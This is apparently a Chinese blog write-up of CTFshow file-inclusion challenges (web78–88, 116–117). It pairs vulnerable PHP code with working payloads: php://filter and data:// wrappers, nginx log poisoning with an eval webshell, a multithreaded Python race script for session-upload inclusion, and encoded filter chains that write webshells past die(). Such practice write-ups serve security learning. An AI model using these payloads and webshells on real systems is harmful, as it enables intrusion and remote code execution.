CTFshow_web入门_文件包含

文件包含

0x00 web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
  • 无过滤
?file=php://filter/convert.base64-encode/resource=flag.php

0x01 web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
  • 看到str_replace直接想到大小写绕过和双写绕过,?file=Php://filter/convert.base64-encode/resource=flag.Php
  • 但失败了
  • 原因:Window下忽略后缀名大小写,Linux下后缀名区分大小写
  • 但可以使用PHP://input
  • Payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

?file=PHP://input
POST <?php system('cat f*');?>

0x02 web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
  • 本来想用大小写绕过data://,发现只能小写生效,但Php://却成功
  • 故可以使用pHp://input
  • 看其他人wp,发现都用日志文件包含,日志文件在?file=/var/log/nginx/access.log,一句话写入UA
  • payload:
?file=PHP://input
POST <?php system('cat f*');?>

访问?file=/var/log/nginx/access.log
抓包修改UA为:<?php @eval($_REQUEST[1])?>
蚁剑连接即可

0x03 web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
  • 过滤了,那直接尝试日志包含

  • 访问日志文件,发现日志的路径及组成没变,解法和上一题相同

0x04 web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

https://www.freebuf.com/vuls/202819.html

https://blog.csdn.net/qq_46091464/article/details/108021053、

  • 根据博客和freebuf的文章学习了一波Session利用方法

该利用方法和p神那篇无字母数字Webshell之提高篇,有点像

  • 一样的构造上传表单,然后抓包修改竞争上传,具体的分析整理已入笔记
<!DOCTYPE html>
<html>
<body>
<form action="http://7d324b9a-3ad0-491b-8e0b-ad0ceb331217.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="111" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
  • 不过我更喜欢直接修改HTTP请求包,直接在请求包添加如下:
Cookie: PHPSESSID=hack;
Content-Type: multipart/form-data; boundary=----1
Content-Length: 211

------1
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('cat fl0g.php');?>
------1
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

------1--

Cookie可能还有其他东西,重要的是有PHPSESSID=hack;即可

  • 然后第一行修改为POST /?file=/tmp/sess_hack HTTP/1.1即可
  • 然后直接bp中Null payloads线程100竞争即可

看到有师傅写了多线程脚本来弄,自己写一个试试:

import threading
import requests
import io

thread_num = 100#线程数
thread_list=[]
stop_threads = False

def run(s):
    global stop_threads
    while True:
        if stop_threads:
            break
        f = io.BytesIO(b'a' * 1024 * 50)#越大越容易成功
        url='http://281f32a8-2099-444a-9bb4-bd84dd8434be.chall.ctf.show:8080/?file=/tmp/sess_hack'
        headers={'Cookie': 'PHPSESSID=hack',}
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');echo 'RE0H';?>"}#Payload
        files={"file":('a.txt', f)}

        r=s.post(url,headers=headers,data=data,files=files)
        if 'RE0H' in r.text:
            print(r.text)
            stop_threads = True
            exit(0)
             

if __name__ == '__main__':
    with requests.session() as s:
        while thread_num:
            t = threading.Thread(target=run, args=(s, ))
            thread_num-=1
            t.start()
            thread_list.append(t)
        
        for t in thread_list:
            t.join()
  • 设置了100个线程,感觉速度还行

0x05 web83

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();#释放所有的会话变量
session_destroy();#销毁一个会话中的全部数据

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
  • 有点奇怪,加了这两个函数有什么用?
  • 看提示的表单加了<?php session_start();?>,但我将加与不加都抓包比对分析,除了boundary其他都没变化
  • 尝试使用上一题写的脚本,成功返回flag
  • 不解,其他人的wp

session_unset();
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id
session_destroy();
删除当前用户对应的session文件以及释放session_id,内存中的 _ S E S S I O N 变 量 内 容 依 然 保 留 等 同 于 将 内 存 中 的 \_SESSION变量内容依然保留 等同于将内存中的 _SESSION_SESSION变量释放且删除了session文件和释放sessionid
成功条件:当两个释放函数结束后才创建session再include就成功了

  • 大致意思是这两个配合使用就能彻底删除Session?

0x06 web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
  • 多了system("rm -rf /tmp/*");删除tmp里所有的临时文件
  • 但条件竞争依旧有效,只不过增加了难度,得删除后有新的请求创建新的文件,再包含

0x07 web85

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
  • 多了检查file是否存在,然后判断文件中是否有<号

  • 为了测试,我在脚本中加了一段:

elif 'error' in r.text:
	print(r.text)

没有回显error

看其他人的解释是:sess_id文件无法正常查看

0x08 web86

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
  • 定义了include的根路径为dirname(__FILE__),也就是当前目录【/var/www/html】

dirname()返回路径中的目录部分 _FILE_:文件的完整路径和文件名

  • 不影响session包含,因为是直接用/tmp来寻找根目录下的tmp文件夹

0x09 web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

file_put_content和死亡·杂糅代码之缘

P神:谈一谈php://filter的妙用

探索php://filter在实战当中的奇技淫巧

学习文章的方法思路,搬poc,要进行二次编码

方法一:过滤器convert.base64-decode

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2573%2568%2565%256c%256c%252e%2570%2568%2570
    
content=abPD9waHAgQGV2YWwoJF9SRVFVRVNUWzFdKT8+

方法二:string.strip_tags|convert.base64-decode

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2573%2574%2572%2569%2570%255f%2574%2561%2567%2573%257c%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2573%2568%2565%256c%256c%252e%2570%2568%2570
content=PD9waHAgQGV2YWwoJF9SRVFVRVNUWzFdKT8+

方法三:rot13编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

content=<?cuc @riny($_ERDHRFG[1])?>

这里被坑了,有些rot13在线加密,加密前是大写,加密后变成小写

0x0A web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
  • 细心的可以发现/ : ; ,都没有过滤
  • 故data协议执行命令
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/PjEx
<?php system('cat fl0g.php');?>11

这里加上11是为了去除=,前面等号被过滤,神奇的是看其他人的wp居然可以直接去掉传,莫非data协议会自动补全?

0x0B web116

进入一段视频,连源代码都没,看了看就一个HTML,URL又没有啥

提示misc+LFI,故拖进虚拟机中,使用binwalk命令查看,发现png,直接binbalk -D=png 1.mp4即可获取如下图片【已转源码】:

<?php
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple somtimes native!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:'sp2.mp4';
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>

因为用的是file_get_contents,直接 输入?file=flag.php

但是因为网页是获取mp4格式文件的,所以直接访问没有

Payload:①view-source:查看源代码②要么抓包

0x0C web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

和web87类似,尝试除rot13和base64和strip_tags绕过die的方式

阅读文章,发现convert.iconv.*可用

该过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convery.iconv.*的使用有两种方法:

convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

因为效果同iconv(),所以构造Payload时可以本地使用该函数转换Payload:

$txt="<?php @eval(\$_REQUEST[1]);?>";
$test="?<hp pe@av(l_\$ERUQSE[T]1;)ceoh1 >?";

var_dump(iconv("UCS-2LE","UCS-2BE", $txt).'<br>');
var_dump(iconv("UCS-2LE","UCS-2BE", $test).'<br>');

或者使用file_put_contents()构造

file_put_contents($file,$contents);
#GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
#<?php @eval($_REQUEST[1]);?>
#?<hp pe@av(l_$ERUQSE[T]1;)>?

file_put_contents()的Payload应该和PHP版本有关,本地PHP5.2失败,PHP7.3成功

注意Payload的字符得是偶数,不是的话得删除或添加字符

故最终Payload:

GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST: contents=?<hp pe@av(l_$ERUQSETR1[)]?;a>
/a.php?1=system('cat f*');
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值